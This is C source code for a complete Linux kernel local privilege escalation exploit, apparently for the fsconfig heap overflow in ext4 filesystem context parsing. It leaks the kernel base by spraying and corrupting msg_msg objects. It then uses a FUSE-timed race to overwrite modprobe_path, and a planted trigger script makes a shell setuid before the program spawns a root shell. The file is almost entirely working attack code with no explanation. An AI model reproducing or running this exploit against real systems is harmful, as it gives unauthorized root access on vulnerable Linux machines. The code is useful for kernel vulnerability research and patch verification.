#define _GNU_SOURCE
#include <stdbool.h>
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <pthread.h>
#include <stdint.h>
#include "fakefuse.h"

int fd = -1;

uint64_t modprobe_path;
uint64_t offsets[] = {0x3400b0, 0x1c6c2e0};
enum {SINGLE_START = 0, MODPROBE};

void debug() 
{
    puts("Paused...");
    getchar();
}

uint64_t do_check_leak(char *buf) 
{
    uint64_t kbase = ((uint64_t *)buf)[510] - offsets[SINGLE_START];
    if (kbase & 0x1fffff || kbase == 0 || (kbase & (0xfffffful << 40)) != ((0xfffffful << 40))) {
        return 0;
    }
    return kbase;
}

uint64_t do_leak () 
{
    uint64_t kbase = 0;
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    int targets[0x10] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1018;

    // spray msg_msg
    for (int i = 0; i < 8; i++) 
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }

    memset(pat, 0x42, sizeof(pat));
    pat[sizeof(pat)-1] = '\x00';
    puts("[*] Opening ext4 filesystem");

    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
            puts("fsopen: Remember to unshare");
            exit(-1);
    }

    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) 
    {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }
    
    // overflow, hopefully causes an OOB read on a potential msg_msg object below
    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x10";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);

    // spray more msg_msg
    for (int i = 8; i < 0x10; i++) 
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }

    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);

    puts("[*] Done heap overflow");
    puts("[*] Spraying kmalloc-32");
    for (int i = 0; i < 100; i++) 
    {
        open("/proc/self/stat", O_RDONLY);
    }

    size = 0x1060;
    puts("[*] Attempting to recieve corrupted size and leak data");

    // go through all targets qids and check if we hopefully get a leak
    for (int j = 0; j < 0x10; j++) 
    {
        get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        kbase = do_check_leak(recieved);
        if (kbase) 
        {
            close(fd);
            return kbase;
        }
    }

    puts("[X] No leaks, trying again");
    return 0;
}

// overflow to change msg_msg.next to modprobe_path - 8
void *arb_write(void *args)
{
    uint64_t goal = modprobe_path - 8;
    char pat[0x1000] = {0};
    memset(pat, 0x41, 29);
    char evil[0x20];
    memcpy(evil, (void *)&goal, 8);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    puts("[*] Done heap overflow");
    write(fuse_pipes[1], "A", 1);
}

// msg_msg arb write trick by hanging before msgseg on usercopy
// use FUSE to time the race
void do_win() 
{
    int size = 0x1000;
    char buffer[0x2000] = {0};
    char pat[0x1000] = {0};
    msg* message = (msg*)buffer;
    memset(buffer, 0x44, sizeof(buffer));

    void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
    uint64_t race_page = 0x1338000;
    msg *rooter = (msg *)(race_page-0x8);
    rooter->mtype = 1;
    size = 0x1010;

    int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    send_msg(target, message, size - 0x30, 0);

    puts("[*] Opening ext4 filesystem");
    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
            puts("Opening");
            exit(-1);
    }
    puts("[*] Overflowing...");
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) 
    {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }
    
    puts("[*] Prepaing fault handlers via FUSE");
    int evil_fd = open("evil/evil", O_RDWR);
    if (evil_fd < 0)
    {
        perror("evil fd failed");
        exit(-1);
    }
    if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
    {
        perror("mmap fail fuse 1");
        exit(-1);
    }

    pthread_t thread;
    int race = pthread_create(&thread, NULL, arb_write, NULL);
    if(race != 0)
    {
        perror("can't setup threads for race");
    }
    send_msg(target, rooter, size - 0x30, 0);
    pthread_join(thread, NULL);
    munmap((void *)0x1337000, 0x1000);
    munmap((void *)0x1338000, 0x1000);
    close(evil_fd);
    close(fd);
}

void spray_4k(int spray)
{
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1000;

    memset(buffer, 0x41, sizeof(buffer));
    for (int i = 0; i < spray; i++)
    {
        int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(spray, message, size - 0x30, 0);
    }
}

void modprobe_init()
{
    char filename[65];
    memset(filename, 0, sizeof(filename));
    int fd = open(modprobe_trigger, O_RDWR | O_CREAT);
    if (fd < 0)
    {
        perror("trigger creation failed");
        exit(-1);
    }
    char root[] = "\xff\xff\xff\xff";
    write(fd, root, sizeof(root));
    close(fd);
    char w[] = "#!/bin/sh\nchmod u+s " SHELL "\n";
    chmod(modprobe_trigger, 0777);
    fd = open(modprobe_win, O_RDWR | O_CREAT);
    if (fd < 0)
    {
        perror("winner creation failed");
        exit(-1);
    }
    write(fd, w, sizeof(w));
    close(fd);
    chmod(modprobe_win, 0777);
    return;
}

void modprobe_hax()
{
    puts("[*] Attempting to trigger modprobe");
    execve(modprobe_trigger, NULL, NULL);
    return;
}

void unshare_setup(uid_t uid, gid_t gid)
{
    int temp;
    char edit[0x100];
    unshare(CLONE_NEWNS|CLONE_NEWUSER);
    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);
    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);
    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);
    return;
}

static const struct fuse_operations evil_ops = {
    .getattr        = evil_getattr,
    .readdir        = evil_readdir,
    .read           = evil_read,
};

char *fargs_evil[] = {"exploit", "evil", NULL };

int main(int argc, char **argv, char **envp) 
{
    fargs_evil[0] = argv[0];
    unshare_setup(getuid(), getgid());
    mkdir(MNT_PATH, 0777);
    pipe(fuse_pipes);
    modprobe_init();

    if (!fork())
    {
        fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
    }

    sleep(1);
    spray_4k(30);
    uint64_t kbase = 0;
    while(!kbase) 
    {
        kbase = do_leak();
    }
    printf("[*] Kernel base 0x%lx\n", kbase);
    modprobe_path = (uint64_t)(kbase + (offsets[MODPROBE]));
    printf("[*] modprobe_path: 0x%lx\n", modprobe_path);
    
    spray_4k(30);
    while (1) 
    {
        do_win();
        modprobe_hax();
        struct stat check;
        if (stat(SHELL, &check) < 0)
        {
            perror("Error on checking");
            exit(-1);
        }
        if (check.st_mode & S_ISUID)
        {
            break;
        }
    }
    
    puts("[*] Exploit success! " SHELL " is SUID now!");
    puts("[+] Popping shell");
    execve(SHELL, root_argv, NULL);
    return 0;
}